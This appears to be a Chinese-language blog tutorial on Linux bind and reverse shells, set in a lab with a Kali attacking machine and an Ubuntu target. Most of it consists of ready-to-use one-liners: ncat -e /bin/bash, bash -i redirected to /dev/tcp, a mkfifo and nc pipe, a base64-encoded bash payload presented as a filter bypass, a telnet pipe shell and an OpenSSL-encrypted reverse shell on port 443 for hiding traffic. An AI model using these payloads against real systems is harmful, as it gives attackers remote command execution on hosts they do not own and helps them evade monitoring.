• WEB安全基础 - - -Linux反弹shell


    目录

    一,Shell简介

    正向shell(客户端想要获得服务端的shell)

    反向shell (服务端想要获得客户端的shell)

     二,Linux反弹shell

    1.NC正向shell

       2.NC反向shell

    ​编辑 3.bash反弹shell

     4.无e参数反弹shell

     5.Base64编码绕过

    ​编辑 6.Telnet反弹shell

     7.OpenSSL反弹443端口,流量加密传输


    一,Shell简介

          Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。

    getshell:获取到目标的命令执行权限
    webshell:网站后门,通过web服务进行命令执行
    反弹shell:将命令行的输入与输出转移到其他主机

    正向shell(客户端想要获得服务端的shell

    控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍

    反向shell (服务端想要获得客户端的shell

    被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

     二,Linux反弹shell

    实验环境

    目标机器:Ubuntu、IP:10.1.1.200、ssh账号密码root/root

    攻击机器:Kali、IP:10.1.1.100

    1.NC正向shell

    原理:被控端(Ubuntu)使用nc将/bin/bash绑定到本地的6666端口,控制端(kali)主动连接被控端的6666端口,即可获得shell。

    在Ubuntu被控端:ncat -lvvp 6666 -e /bin/bash    //监听6666端口

    控制端:nc 10.1.1.200 6666  

    我们输入whoami可以查看到Ubuntu中的root用户,uname -a查看系统的主机名,内核,以及硬件架构

       2.NC反向shell

    原理被控端使用nc将/bin/bash发送到控制端的6666端口,控制端需要监听本地的6666端口,就可以获得被控制端的shell。

    控制端:nc -lvvp 6666       

    被控端    ncat -e /bin/bash 10.10.1.100 6666

    发现shell已经反弹到了kali中,输入下面的命令验证一下

    whoami

    uname -a 

     3.bash反弹shell

    bash -i的意思是在本地打开一个bash,/dev/tcp/相当于发出了一个socket调用,建立一个socket连接。/dev/tcp/10.1.1.100/6666意思是将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。远程控制端开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

    控制端:nc -lvvp 6666

    被控端:bash -i >& /dev/tcp/10.1.1.100/6666 0>&1   

    解析:         

    //     将 /dev/tcp/10.10.1.11/6666 传递的数据作为交互式shell的输入,命令执行后的结果输出到 /dev/tcp/10.10.1.11/6666

    //     /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket

    接,读写这个文件就相当于在这个 socket 连接中传输数据

     

    可以看到控制端 已经获取到了shell

     

     4.无e参数反弹shell

    原理:mkfifo 创建了一个管道,cat将管道里面的内容输出传递给/bin/bash,/bin/bash执行管道里的命令将标准输出和标准错误输出结果通过nc传输到管道,然后获得了shell。

    控制端:nc -lvvp 6666 

      

    被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.1.1.100 6666 >/tmp/f

     控制端已经得到了shell权限

     5.Base64编码绕过

    控制端:nc -lvvp 1234 

    python3

    import base64

    a = bash -i >& /dev/tcp/10.1.1.100/1234 0>&1

    b=base64.b64encode(a.encode(‘utf-8’))

    print(b)  

    利用python3将bash...转换为base64编码

     被控端:

    bash - c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ== | base64 -d|bash -i"

    实质是playload组合

    bash -c "echo base64加密后payload |base64 -d | bash -i"

     

    查看控制端,已经有参数回显

     6.Telnet反弹shell

    控制端:nc -lvvp 5555                                      //传输命令窗口

    控制端:nc -lvvp 6666                                      // 结果显示窗口

     

    被控端: telnet 10.1.1.100 5555 | /bin/bash |telnet 10.1.1.100 6666 

     在控制端中我们两个监听的端口都得到了shell,在5555窗口输入whoami然后命令回显显示在了6666窗口

     

     7.OpenSSL反弹443端口,流量加密传输

    控制端:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes   

    控制端上生成秘钥文件

     

    控制端:openssl s_server -quiet -key key.pem -cert cert.pem -port 443  // 在控制端上启动监视器 

     

    被控端: mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.1.1.100:443 >/tmp/s;rm /tmp/s                      //在被控端反弹shell

    在监视器上得到了shell,输入whoami验证

     

  • 相关阅读:
    软件测试工程师是做什么的?这是我的理解...
    vue-(5)
    JVM crashes with error=‘Cannot allocate memory‘ (errno=12)
    实用调试技巧
    nodejs--开发自己的项目——1--路由模块、路由处理函数模块、服务器的创建
    使用电力系统稳定器 (PSS) 和静态 VAR 补偿器 (SVC) 提高瞬态稳定性(Matlab代码实现)
    维基百科是如何定义联合办公空间的?
    【前端面试必知】对vue中mixin的理解
    嵌入式系统开发笔记79:为什么要获取本机网卡IP地址
    Easily Compare and Deploy SQL Database Changes
  • 原文地址:https://blog.csdn.net/weixin_67503304/article/details/126470913